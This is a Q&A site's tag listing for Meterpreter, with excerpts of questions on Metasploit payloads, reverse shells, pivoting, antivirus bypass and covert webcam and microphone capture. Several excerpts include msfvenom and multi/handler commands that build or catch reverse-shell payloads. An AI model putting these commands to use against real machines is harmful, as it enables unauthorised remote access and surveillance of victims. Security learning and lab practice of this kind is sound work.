Information Security

Questions tagged [meterpreter]

Ask Question

The tag has no usage guidance.

115 questions
Newest
Active
Bountied
Unanswered
Filter by
Sorted by
Tagged with
1
vote
1answer
60 views

Meterpreter Session died [Bwapp]

I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my ...
0
votes
0answers
34 views

Metasploit unable to get local issuer certificate

I got the following versions: Framework: 5.0.86-dev Console: 5.0.86-dev The os that metasploit is installed are windows 10. I get a meterpreter session with an android device (genymotion virtual ...
2
votes
1answer
127 views

What allows meterpreter to migrate processes and how to defend against it?

I mainly use Linux so I'm not well-versed on how Windows and its privileges work. I've recently learned to use Metasploit and meterpreter on Windows boxes. Previous research This answer has given an ...
0
votes
1answer
42 views

keep session alive

In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
0
votes
1answer
62 views

Help understanding pivoting and port forwading

I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
0
votes
0answers
34 views

Is it possible to embed a Metasploit post module in a Meterpreter payload?

For example, in order to use post/windows/manage/persistence_exe, you have to have an already established meterpreter session with target system and then run it. Is it possible to generate a SINGLE ...
0
votes
0answers
39 views

Exploit remote server through routing on existing meterpreter session

Trying to pivot from an existing meterpreter session on remote machine to a DC server (ip 172.16.13.26) using ms17_101_psexec module. (I know this module woorks on this server). Existing meterpreter ...
2
votes
0answers
504 views

Help with meterpreter reverse https

I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly. 1st ...
1
vote
0answers
71 views

How does meterpreter STDAPI bypass window's webcam restriction's settings

How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
1
vote
0answers
198 views

seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory

I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
2
votes
1answer
666 views

Newer techniques for Meterpreter AV bypass

Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
0
votes
1answer
1k views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
1
vote
1answer
322 views

Cannot execute program with Meterpreter on target OS

I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious. I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
206 views

Meterpreter record_mic automation

I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
1
vote
1answer
3k views

How to connect to a meterpreter session opened manually on the target machine

I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
1
vote
0answers
45 views

Proxychains to access ports on the same host

This might be an incredible dumb question but I need to know if this concept is even possible. I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
0
votes
0answers
26 views

Auto execute meterpreter commands on session start(android) [duplicate]

I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp I want a file that can execute these commands automatically as soon as ...
-2
votes
2answers
920 views

Difference between shell and meterpreter? [duplicate]

What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells? 1) The non-meterpreter reverse shell: windows/shell/reverse_tcp 2) Meterpreter: windows/...
1
vote
1answer
278 views

PHP HTTP Reverse Shell?

Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP). Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
0
votes
0answers
2k views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
2
votes
1answer
295 views

Meterpreter and OpenVPN

During a meterpreter session, is it possible to deliver a payload that creates a connection request to a local OpenVPN connection? For example: I have a payload. Whenever that payload runs on the ...
0
votes
1answer
3k views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
1answer
416 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
1
vote
1answer
919 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
1
vote
2answers
5k views

meterpreter upload command does't work

I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe. After obtaining the session: sessions –l sessions –i 1 I issued ...
0
votes
1answer
196 views

How to response to Meterpreter HTTP Request sent from client

First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1answer
228 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
1
vote
1answer
461 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
0
votes
1answer
746 views

Meterpreter reverse shell alternative

What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
1k views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
3
votes
3answers
2k views

Meterpreter shell and system shell define?

What is the difference between Meterpreter shell and system shell? For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
0
votes
1answer
876 views

Meterpreter file upload - segmentation fault

I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
0
votes
2answers
7k views

Meterpreter commands not working in shell [closed]

I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my Windows machine connected to ...
3
votes
1answer
492 views

Metasploit: pivoting to machine without internet access

Let's imagine the following (not uncommon) scenario: I'm doing a pentest from the outside I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)...
1
vote
3answers
4k views

Port forwarding for reverse tcp

I am using metasploit to create a payload for Android phone (for educational purposes). If my target and my computer are on the same network it works fine. But when my target is outside connected to ...
-1
votes
1answer
1k views

How can a reverse shell payload be executed? [closed]

With metasploit it is possible to open a reverse shell via meterpreter. For this you need to place a payload on the attacked server. E.g., there is an endpoint open that places files on a server, and ...
1
vote
0answers
2k views

Unable to migrate meterpreter into 64 bit process? [duplicate]

How to migrate a meterpreter process into a 64 bit process? When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
2answers
2k views

Run metasploit console resource scripts

Hi I want to do this in my lab environment: When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
3
votes
1answer
6k views

Executing a msfvenom shellcode in C program

This is obviously for educational purposes. I've been interested in learning more about malware and how it works. I'm trying to get a meterpreter reverse tcp shell working on windows 10 but more ...
6
votes
2answers
525 views

How does the Meterpreter load modules?

I've been using the Meterpreter for some time and I'm still quite new to it and one of the questions I have is how it's module loading works. Correct me if I'm wrong as I'm still learning how to use ...
0
votes
2answers
1k views

MSFvenom payload with dynamic options

I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
-2
votes
1answer
7k views

metasploit dont work upload, download and open folder

When I am trying to upload a file, download a file or enter a folder, metasploit does not work. Path of metasploit is in meterpreter. meterpreter> upload /root/Desktop/test.exe C:\\Documents and ...
3
votes
2answers
4k views

Metasploit opens Meterpreter but shows no prompt please help

I have created a payload to a website with msfvenom, and started the exploit/multi/handler exploit, they then connect to each other and create a meterpreter session as seen below, but I do not get the ...
2
votes
1answer
2k views

Is it possible to run Meterpreter command in background

After spawning a meterpreter session from the target Windows 7 system I wanted to search for all the files with sub-string "clue" in in their name. As search -f "*clue*" took a long time to complete, ...
2
votes
1answer
697 views

Updating Metasploit Database Breaks Meterpreter Payload

This might be better posted on the R7 forum, but I feel like I might get a quicker response here as I'm waiting for access to post in their forums. On a base installation of Kali (Metasploit version ...
1
vote
0answers
591 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
2
votes
1answer
8k views

LPORT question - I seem to not understand some concepts

I am trying to build a payload for inserting as an obfuscated code into a Word document, which will create a listener on the attacked machine and will allow me to execute some commands (not through ....
1
vote
1answer
7k views

Meterpreter error: webcam_start: Operation failed: 14007

I managed to "infect" my test device, so I decided to try out some of meterpreter custom commands. This tool is awesome: I can copy, download, upload and manipulate the infected device, spy through ...
-1
votes
1answer
5k views

Windows 10 not running meterpreter payload

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment ...
9
votes
1answer
3k views

Gained Privilege Escalation but no authority using Metasploit

I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP. Here is the sysinfo : meterpreter > sysinfo Computer : ******** OS ...

1
2 3